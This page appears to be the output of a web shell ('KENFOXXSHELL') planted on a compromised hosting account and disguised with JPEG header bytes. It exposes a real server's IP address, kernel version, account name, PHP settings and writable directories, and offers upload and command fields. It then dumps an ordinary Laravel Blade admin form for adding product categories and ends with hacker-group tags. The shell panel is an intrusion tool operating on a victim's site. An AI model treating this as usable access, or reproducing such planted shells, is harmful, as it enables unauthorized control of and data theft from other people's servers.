JFIFHHC     C  " 5????! ??? Donat Was Here
KENFOXXSHELL
Server IP : 160.25.81.117  /  Your IP : 216.73.216.137
Web Server : Apache/2
System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : bellizen ( 1045)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bellizen/domains/bellizeno.com/public_html/resources/views/admin/productcate/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bellizen/domains/bellizeno.com/public_html/resources/views/admin/productcate/add.blade.php
@extends('admin.master')

@section('content')

@section('controller','Product Categories')

@section('action','Add')



<!-- Content Header (Page header) -->

<section class="content-header">

  <h1>

   	@yield('controller')

    <small>@yield('action')</small>

  </h1>

  <ol class="breadcrumb">

    <li><a href="admin"><i class="fa fa-dashboard"></i> Home</a></li>

    <li><a href="javascript:">@yield('controller')</a></li>

    <li class="active">@yield('action')</li>

  </ol>

</section>

<!-- Main content -->

<section class="content">

  

    <div class="box">

    	@include('admin.messages_error')

        <div class="box-body">

        	

        	<form name="frmAdd" method="post" action="{!! route('admin.productcate.postAdd') !!}" enctype="multipart/form-data">

        		<input type="hidden" name="_token" value="{!! csrf_token() !!}" />

	      		

      			<div class="nav-tabs-custom">

	                <ul class="nav nav-tabs">

	                  	<li class="active"><a href="#tab_1" data-toggle="tab" aria-expanded="false">Thông tin chung</a></li>

	                  	<li><a href="#tab_2" data-toggle="tab" aria-expanded="true">SEO</a></li>

	                </ul>

	                <div class="tab-content">

	                  	<div class="tab-pane active" id="tab_1">

	                  		<div class="row">

		                  		<div class="col-md-6 col-xs-12">

		                  			<div class="form-group col-md-12 @if ($errors->first('fImages')!='') has-error @endif">

										<label for="file">Hình nền</label>

								     

								    	 <img id="output" style="width: 150px;"/>

                                         <input class="max-with" name="fImages" type="file"  onchange="loadFile(event)"/>

								    	@if ($errors->first('fImages')!='')

								      	<label class="control-label" for="inputError"><i class="fa fa-times-circle-o"></i> {!! $errors->first('fImages'); !!}</label>

								      	@endif

									</div>

			                    	<div class="form-group ">

								      	<label for="ten">Danh mục cha</label>

								      	<select name="txtProductCate" class="form-control">



								      		<option value="0">Chọn danh mục</option>

								      		<?php cate_parent($parent); ?>

								      	</select>

									</div>

									<div class="clearfix"></div>

							    	<div class="form-group @if ($errors->first('txtName')!='') has-error @endif">

								      	<label for="ten">Tiêu đề</label>

								      	<input type="text" name="txtName" id="txtName" value=""  class="form-control" />

								      	@if ($errors->first('txtName')!='')

								      	<label class="control-label" for="inputError"><i class="fa fa-times-circle-o"></i> {!! $errors->first('txtName'); !!}</label>

								      	@endif

									</div>

                                    <div class="form-group @if ($errors->first('txtName_eg')!='') has-error @endif">

								      	<label for="ten">Tiêu đề(English)</label>

								      	<input type="text" name="txtName_eg" id="txtName_eg" value=""  class="form-control" />

								      	@if ($errors->first('txtName_eg')!='')

								      	<label class="control-label" for="inputError"><i class="fa fa-times-circle-o"></i> {!! $errors->first('txtName_eg'); !!}</label>

								      	@endif

									</div>

									<div class="form-group @if ($errors->first('txtAlias')!='') has-error @endif">

								      	<label for="alias">Đường dẫn tĩnh</label>

								      	<input type="text" name="txtAlias" id="txtAlias" value=""  class="form-control" />

								      	@if ($errors->first('txtAlias')!='')

								      	<label class="control-label" for="inputError"><i class="fa fa-times-circle-o"></i> {!! $errors->first('txtAlias'); !!}</label>

								      	@endif

									</div>

								</div>

							</div>

							<div class="clearfix"></div>

	                  	</div><!-- /.tab-pane -->

	                  	<div class="tab-pane" id="tab_2">

	                  		<div class="row">

		                    	<div class="col-md-6 col-xs-12">

		                    		<div class="form-group">

								      	<label for="txtTitle">Title</label>

								      	<input type="text" name="txtTitle" value=""  class="form-control" />

									</div>

		                    		<div class="form-group">

								      	<label for="keyword">Keyword</label>

								      	<textarea name="txtKeyword" rows="5" class="form-control"></textarea>

									</div>

									<div class="form-group">

								      	<label for="description">Description</label>

								      	<textarea name="txtDescription" rows="5" class="form-control"></textarea>

									</div>

		                    	</div>

	                    	</div>

	                    	<div class="clearfix"></div>

	                	</div><!-- /.tab-pane -->

	                </div><!-- /.tab-content -->

	            </div>

	            <div class="clearfix"></div>

			    <div class="col-md-6">

			    	<div class="form-group">

					      <label for="ten">Số thứ tự</label>

					      <input type="number" min="1" name="stt" value="{!! count($parent)+1 !!}" class="form-control" style="width: 100px;">

				    </div>

				    

				    <div class="form-group">

					    <label>

				        	<input type="checkbox" name="status" checked="checked"> Hiển thị

				    	</label>

				    </div>

			    	

			    </div>

			    <div class="clearfix"></div>

			    <div class="box-footer">

			    	<div class="row">

						<div class="col-md-6">

					    	<button type="submit" class="btn btn-primary">Lưu</button>

					    	<button type="button" onclick="javascript:window.location='admin/productcate'" class="btn btn-danger">Thoát</button>

				    	</div>

			    	</div>

			  	</div>

		    </form>

        </div><!-- /.box-body -->

    </div><!-- /.box -->

    

</section><!-- /.content -->

@endsection()


Anon7 - 2022
AnonSec Team